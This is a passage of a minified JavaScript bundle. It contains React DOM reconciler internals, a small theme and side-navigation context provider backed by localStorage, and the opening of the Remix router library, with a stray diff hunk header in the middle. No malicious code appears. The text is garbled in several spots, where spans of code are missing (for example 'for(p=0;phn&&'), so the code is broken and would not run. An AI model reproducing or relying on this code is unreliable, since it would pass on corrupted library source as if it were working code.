l.dehydrated!==null?(F(z,z.current&1),a.flags|=128,null):n&a.child.childLanes?Vi(s,a,n):(F(z,z.current&1),s=qs(s,a,n),s!==null?s.sibling:null);F(z,z.current&1);break;case 19:if(l=(n&a.childLanes)!==0,s.flags&128){if(l)return Yi(s,a,n);a.flags|=128}if(p=a.memoizedState,p!==null&&(p.rendering=null,p.tail=null,p.lastEffect=null),F(z,z.current),l)break;return null;case 22:case 23:return a.lanes=0,Gi(s,a,n)}return qs(s,a,n)}var Xi,$e,Ri,vi;Xi=function(s,a){for(var n=a.child;n!==null;){if(n.tag===5||n.tag===6)s.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===a)break;for(;n.sibling===null;){if(n.return===null||n.return===a)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};$e=function(){};Ri=function(s,a,n,l){var p=s.memoizedProps;if(p!==l){s=a.stateNode,fa(Ds.current);var e=null;switch(n){case"input":p=me(s,p),l=me(s,l),e=[];break;case"select":p=E({},p,{value:void 0}),l=E({},l,{value:void 0}),e=[];break;case"textarea":p=ke(s,p),l=ke(s,l),e=[];break;default:typeof p.onClick!="function"&&typeof l.onClick=="function"&&(s.onclick=ql)}We(n,l);var c;n=null;for(i in p)if(!l.hasOwnProperty(i)&&p.hasOwnProperty(i)&&p[i]!=null)if(i==="style"){var t=p[i];for(c in t)t.hasOwnProperty(c)&&(n||(n={}),n[c]="")}else i!=="dangerouslySetInnerHTML"&&i!=="children"&&i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&i!=="autoFocus"&&(Jn.hasOwnProperty(i)?e||(e=[]):(e=e||[]).push(i,null));for(i in l){var o=l[i];if(t=p!=null?p[i]:void 0,l.hasOwnProperty(i)&&o!==t&&(o!=null||t!=null))if(i==="style")if(t){for(c in t)!t.hasOwnProperty(c)||o&&o.hasOwnProperty(c)||(n||(n={}),n[c]="");for(c in o)o.hasOwnProperty(c)&&t[c]!==o[c]&&(n||(n={}),n[c]=o[c])}else n||(e||(e=[]),e.push(i,n)),n=o;else i==="dangerouslySetInnerHTML"?(o=o?o.__html:void 0,t=t?t.__html:void 0,o!=null&&t!==o&&(e=e||[]).push(i,o)):i==="children"?typeof o!="string"&&typeof o!="number"||(e=e||[]).push(i,""+o):i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&(Jn.hasOwnProperty(i)?(o!=null&&i==="onScroll"&&M("scroll",s),e||t===o||(e=[])):(e=e||[]).push(i,o))}n&&(e=e||[]).push("style",n);var i=e;(a.updateQueue=i)&&(a.flags|=4)}};vi=function(s,a,n,l){n!==l&&(a.flags|=4)};function Gn(s,a){if(!J)switch(s.tailMode){case"hidden":a=s.tail;for(var n=null;a!==null;)a.alternate!==null&&(n=a),a=a.sibling;n===null?s.tail=null:n.sibling=null;break;case"collapsed":n=s.tail;for(var l=null;n!==null;)n.alternate!==null&&(l=n),n=n.sibling;l===null?a||s.tail===null?s.tail=null:s.tail.sibling=null:l.sibling=null}}function cs(s){var a=s.alternate!==null&&s.alternate.child===s.child,n=0,l=0;if(a)for(var p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags&14680064,l|=p.flags&14680064,p.return=s,p=p.sibling;else for(p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags,l|=p.flags,p.return=s,p=p.sibling;return s.subtreeFlags|=l,s.childLanes=n,a}function kI(s,a,n){var l=a.pendingProps;switch(Nc(a),a.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return cs(a),null;case 1:return js(a.type)&&sp(),cs(a),null;case 3:return l=a.stateNode,rn(),S(Cs),S(os),Dc(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(s===null||s.child===null)&&(Wl(a)?a.flags|=4:s===null||s.memoizedState.isDehydrated&&!(a.flags&256)||(a.flags|=1024,Hs!==null&&(cc(Hs),Hs=null))),$e(s,a),cs(a),null;case 5:zc(a);var p=fa(qn.current);if(n=a.type,s!==null&&a.stateNode!=null)Ri(s,a,n,l,p),s.ref!==a.ref&&(a.flags|=512,a.flags|=2097152);else{if(!l){if(a.stateNode===null)throw Error(w(166));return cs(a),null}if(s=fa(Ds.current),Wl(a)){l=a.stateNode,n=a.type;var e=a.memoizedProps;switch(l[Js]=a,l[Pn]=e,s=(a.mode&1)!==0,n){case"dialog":M("cancel",l),M("close",l);break;case"iframe":case"object":case"embed":M("load",l);break;case"video":case"audio":for(p=0;p<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Xi(s,a,!1,!1),a.stateNode=s;s:{switch(c=Ge(n,l),n){case"dialog":M("cancel",s),M("close",s),p=l;break;case"iframe":case"object":case"embed":M("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Gn(e,!1),a.lanes=4194304)}else{if(!l)if(s=tp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Gn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*U()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Gn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,F(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return st(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function ZI(s,a){switch(Nc(a),a.tag){case 1:return js(a.type)&&sp(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),S(Cs),S(os),Dc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return zc(a),null;case 13:if(S(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return S(z),null;case 4:return rn(),null;case 10:return Mc(a.type._context),null;case 22:case 23:return st(),null;case 24:return null;default:return null}}var fl=!1,ts=!1,WI=typeof WeakSet=="function"?WeakSet:Set,f=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){Q(s,a,l)}}var ro=!1;function GI(s,a){if(Ke=Ol,s=Mr(),Rc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var u;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(u=d.firstChild)!==null;)j=d,d=u;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(u=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=u}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Fe={focusedElem:s,selectionRange:n},Ol=!1,f=a;f!==null;)if(a=f,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,f=s;else for(;f!==null;){a=f;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,G=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:vs(a.type,b),G);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){Q(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,f=s;break}f=a.return}return m=ro,ro=!1,m}function Mn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Gp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Ni(s){var a=s.alternate;a!==null&&(s.alternate=null,Ni(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[oI],delete a[rI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Hi(s){return s.tag===5||s.tag===3||s.tag===4}function io(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Hi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=ql));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function aa(s,a,n){for(n=n.child;n!==null;)Ki(s,a,n),n=n.sibling}function Ki(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,aa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ne(s.parentNode,n):s.nodeType===1&&ne(s,n),Tn(s)):ne(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,aa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}aa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}aa(s,a,n);break;case 21:aa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,aa(s,a,n),ts=l):aa(s,a,n);break;default:aa(s,a,n)}}function go(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new WI),a.forEach(function(l){var p=HI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Rs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,hp=0,H&6)throw Error(w(331));var p=H;for(H|=4,f=s.current;f!==null;){var e=f,c=e.child;if(f.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-$c?Va(s,0):Pc|=n),As(s,a)}function Ei(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=$s(s,a),s!==null&&(tl(s,a,n),As(s,n))}function NI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Ei(s,n)}function HI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Ei(s,n)}var Qi;Qi=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||Cs.current)ds=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return ds=!1,wI(s,a,n);ds=!!(s.flags&131072)}else ds=!1,J&&a.flags&1048576&&_r(a,lp,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;Jl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Qc(null,a,l,s,p,n);var e=Tc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,js(l)?(e=!0,ap(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,xc(a),p.updater=Wp,a.stateNode=p,p._reactInternals=a,Te(a,l,s,n),a=_e(null,a,l,!0,e,n)):(a.tag=0,J&&e&&vc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(Jl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=FI(l),s=vs(l,s),p){case 0:a=Le(null,a,l,s,n);break s;case 1:a=co(null,a,l,s,n);break s;case 11:a=po(null,a,l,s,n);break s;case 14:a=eo(null,a,l,vs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),Le(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),co(s,a,l,p,n);case 3:s:{if(fi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,ai(s,a),cp(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=to(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=to(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=qr(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=qs(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return ni(a),s===null&&De(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Me(l,p)?c=null:e!==null&&Me(l,e)&&(a.flags|=32),Bi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&De(a),null;case 13:return Vi(s,a,n);case 4:return Jc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),po(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,F(pp,l._currentValue),l._currentValue=c,e!==null)if(Ms(e.value,c)){if(e.children===p.children&&!Cs.current){a=qs(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=_s(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ee(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ee(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=Vs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=vs(l,a.pendingProps),p=vs(l.type,p),eo(s,a,l,p,n);case 15:return Wi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),Jl(s,a),a.tag=1,js(l)?(s=!0,ap(a)):s=!1,ln(a,n),wi(a,l,p),Te(a,l,p,n),_e(null,a,l,!0,s,n);case 19:return Yi(s,a,n);case 22:return Gi(s,a,n)}throw Error(w(156,a.tag))};function Ti(s,a){return yr(s,a)}function KI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Bs(s,a,n,l){return new KI(s,a,n,l)}function nt(s){return s=s.prototype,!(!s||!s.isReactComponent)}function FI(s){if(typeof s=="function")return nt(s)?1:0;if(s!=null){if(s=s.$$typeof,s===bc)return 11;if(s===wc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Bs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function El(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")nt(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case mc:c=8,p|=8;break;case je:return s=Bs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case Ae:return s=Bs(13,n,a,p),s.elementType=Ae,s.lanes=e,s;case ue:return s=Bs(19,n,a,p),s.elementType=ue,s.lanes=e,s;case nr:return fp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case bc:c=11;break s;case wc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Bs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Bs(7,s,l,a),s.lanes=n,s}function fp(s,a,n,l){return s=Bs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function ie(s,a,n){return s=Bs(6,s,null,a),s.lanes=n,s}function ge(s,a,n){return a=Bs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function MI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Qp(0),this.expirationTimes=Qp(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Qp(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function lt(s,a,n,l,p,e,c,t,o){return s=new MI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Bs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},xc(e),s}function SI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oi)}catch(s){console.error(s)}}Oi(),Oo.exports=ks;var EI=Oo.exports,Pi,$i,mo=EI;$i=mo.createRoot,Pi=mo.hydrateRoot;const qi={theme:"light",sideNav:!0,initialized:!1},sg=W.createContext({state:qi,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function tt(){return W.useContext(sg)}function bo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const wo=({children:s})=>{const[a,n]=W.useState(qi);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),bo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),bo("sideNav",t)}return r.jsx(sg.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** * @remix-run/router v1.19.1 * * Copyright (c) Remix Software Inc. @@ -46,7 +46,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ag(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function TI(){return Math.random().toString(36).substr(2,8)}function Zo(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||TI()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function UI(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let B=I(),h=B==null?null:B-i;i=B,o&&o({action:t,location:b.location,delta:h})}function j(B,h){t=oa.Push;let g=tc(b.location,B,h);i=I()+1;let C=Zo(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function u(B,h){t=oa.Replace;let g=tc(b.location,B,h);i=I();let C=Zo(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(B){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof B=="string"?B:ng(B);return g=g.replace(/ $/,"%20"),P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(B){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(ko,d),o=B,()=>{p.removeEventListener(ko,d),o=null}},createHref(B){return a(p,B)},createURL:m,encodeLocation(B){let h=m(B);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:u,go(B){return c.go(B)}};return b}var Wo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Wo||(Wo={}));function _I(s,a,n){return n===void 0&&(n="/"),LI(s,a,n,!1)}function LI(s,a,n,l){let p=typeof a=="string"?jn(a):a,e=eg(p.pathname||"/",n);if(e==null)return null;let c=lg(s);OI(c);let t=null;for(let o=0;t==null&&o{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Xa([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:[\w-]+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Bo=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return n.some(Bo)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Bo(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a,n){let{routesMeta:l}=s,p={},e="/",c=[];for(let t=0;t{let{paramName:j,isOptional:u}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return u&&!m?i[j]=void 0:i[j]=(m||"").replace(/%2F/g,"/"),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ag(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return s.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return ag(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function eg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function od(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rd(n,a):a,search:dd(l),hash:Cd(p)}}function rd(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function he(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function id(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function 